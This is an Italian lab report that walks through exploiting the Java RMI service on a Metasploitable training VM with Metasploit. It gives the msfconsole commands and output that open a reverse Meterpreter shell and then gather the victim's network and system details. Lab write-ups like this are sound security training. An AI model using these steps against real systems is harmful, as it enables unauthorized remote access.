PROGETTO S7/L5

SCOPO: sfruttare il servizio vulnerabile sulla porta 1099-Java RMI della macchina Metaspoitable con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.Raccogliere sulla stessa macchina,configurazone di rete e informazioni sulla tabella di routing della macchina vittima.

Prima di passare a la fase applicativa,proviamo di capire che cos'è Metasploit , Meterpreter , il servizio Java RMI.

1-)Metasploit

Metasploit è un framework open-source usato per il penetration testing e lo sviluppo di exploit.Mette a disposizione degli utenti una vasta gamma di exploit e numerosi vettori di attacco che possono essere utilizzati contro diversi sistemi e technologie.Può anche essere utilizzato per creare ed automatizzare i propri exploit.

La parola exploit in questo caso, fa riferemento a un particolare tipo di software o sequenza di comandi che sfruttano vulnerabilità nei software o nei sistemi operativi per ottenere un vantaggio malevolo. Sono utilizzati da hacker o attaccanti per compromettere la sicurezza di un sistema,ottenere accesso non autorizzato o causare danni. A proposito, Mesploit include più di 2000 exploits e 600 payload nel suo data base che posono essere utilizzati sui vari target.

Un payload è una porzione di codice o dati all'interno di un pachetto di dati o di un programma che esegue una specifica azione quando attivo.
I payload sono indispensabile all'utilisazione degli exploits,contengono tutti gli informazioni necessarie per usare l'exploit.

2-) Meterpreter

PROGETTO S7/L5

È una shell molto potente che gira sui applicazioni e servizi vulnerabili di diverse technologie e sistemi operativi come Android ,Java ,Linux ,Windows e molte altre.
Questo payload con molte funzionalità aiuta i penetration tester ad infiltrarsi in maniera non autorisato all'interno di un sistema target.Le sue funzionalità avanzate consentono movimenti laterali per entrare sempre più nei sistemi,fino ad ottenere accesso completo alle rete obiettivo.

3- Servizio Java RMI

È un servizio attivo sulla porta 1099 TCP della macchina Metasploitable.è una tecnologia che consente a diversi processi Java di comunicare tra di loro attraverso una rete.
La vulnerabilità di questo servizio è dovuta ad una configurazione di default errata che permette ad un potenziale attaccante di iniettare codice arbitrario per ottenere accesso amministrativo alla macchina target.

4-) Fase di Application

Per sfruttare la vulnerabilità della porta 1099 Java RMI,ci siamo rassicurati per prima cosa che le macchine kali e Metasploitable pigavano tra di loro. Poi abbiamo inserito il comnado msfconsole sur kali per avviare la console di Metasploit.abbiamo usato il comando search java_rmi per fare la ricerca degli exploit.abbiamo usato la comanda use seguito dal path che abbiamo scelto. Dopo questo abbiamo usato il comando show options per vedere gli opzioni ,poi usando i comandi "set RHOSTS" e "set LHOST" abbiamo configurato rispettivamente gli indirizzi IP di Metasploitable e Kali ,faccendo di nuovo "show options" abbiamo verificato che gli indirizzi siano ben configurato, poi il comando exploit abbiamo lanciato l'attacco. E ottenuto la sessione di Meterpreter che segue:

PROGETTO S7/L5

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > LHOST 192.168.11.111
[-] Unknown command: LHOST
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.11.111
LHOST => 192.168.11.111
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/EjUPZ1YFqro3vL
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:33426) at
 2024-01-26 11:25:39 -0500

meterpreter >
```

Una volta questa sessione ottenuta,usando il comando ifconfig abbiamo raccolto informazione di rete.

```
meterpreter > ifconfig

Interface  1
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============
Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fed7:f93c
IPv6 Netmask : ::
```

E inserendo il comando sysinfo abbiamo raccolto gli informazione seguente.

```
meterpreter > sysinfo
Computer        : metasploitable
OS              : Linux 2.6.24-16-server (i386)
Architecture    : x86
System Language : en_US
Meterpreter     : java/linux
meterpreter >
```

Non ho modificato il parametro HTTPDELAY perche non ricivuto nessun messaggio di errore dopo aver avviato “explot” come si può vedere sulla figura sotto.

PROGETTO S7/L5